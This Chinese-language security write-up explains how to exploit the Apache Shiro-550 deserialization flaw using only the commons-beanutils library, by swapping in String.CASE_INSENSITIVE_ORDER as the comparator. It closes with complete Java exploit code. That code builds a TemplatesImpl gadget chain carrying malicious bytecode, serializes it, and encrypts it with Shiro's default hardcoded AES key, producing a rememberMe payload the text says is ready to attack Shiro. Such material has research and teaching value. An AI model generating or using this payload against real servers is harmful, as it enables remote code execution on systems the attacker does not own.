serialVersionUID
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
遇到serialVersionUID的报错,保证两端依赖的jar包版本向同即可
思路
前面的CC链都需要目标环境中有CommonCollections的包,对于shiro-550这种很常用的漏洞,如果没有CommonCollections,能否用其他方法利用,比如用CommonBeanutils。
最简单的shiro项目,需要包含:
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
在只有这几个必要依赖的情况下,查看lib库发现默认是带有commons-beanutils的:
说明shiro本身就依赖beanutils库,直接使用上一篇的payload打一下发现报错:
Unable to load class named [
org.apache.commons.collections.comparators.ComparableComparator]
找不到这个类,说明虽然默认依赖了beanutils,但是并不完整,查看一下哪里用到了这个类。
初始化BeanComparator时,没有传入一个比较器,就会默认调用
org.apache.commons.collections.comparators.ComparableComparator作为比较器,那就需要一个新的比较器,要求:
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口 - 在jdk或者shiro或者CommonBeanutils中自带
在实现了java.util.Comparator
中寻找,找到的是java.lang.String.CaseInsensitiveComparator
。jdk自带,兼容性强,相关代码:
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}
也就是通过String的静态属性CASE_INSENSITIVE_ORDER
就可以获取到一个CaseInsensitiveComparator的对象
用这个对象来实例化一个BeanComparator
final BeanComparator comparator=new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
其他代码与正常的beanutils链相同,注意吧queue.add("1")添加到队列里的1变成字符串,因为使用的是字符串比较器,不能比较整数。生成的结果即可用来攻击shiro
完整代码:
package changez.sec.CommonBeanutils;
import changez.sec.shiro.CommonCollectionsK1;
import changez.sec.shiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;
public class shiro_beanutils {
public static void main(String[] args) throws Exception {
byte[] payload = getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipheretext = aes.encrypt(payload,key);
System.out.println(cipheretext);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field f1 = obj.getClass().getDeclaredField(fieldName);
f1.setAccessible(true);
f1.set(obj, value);
}
public static byte[] getPayload() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER );
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}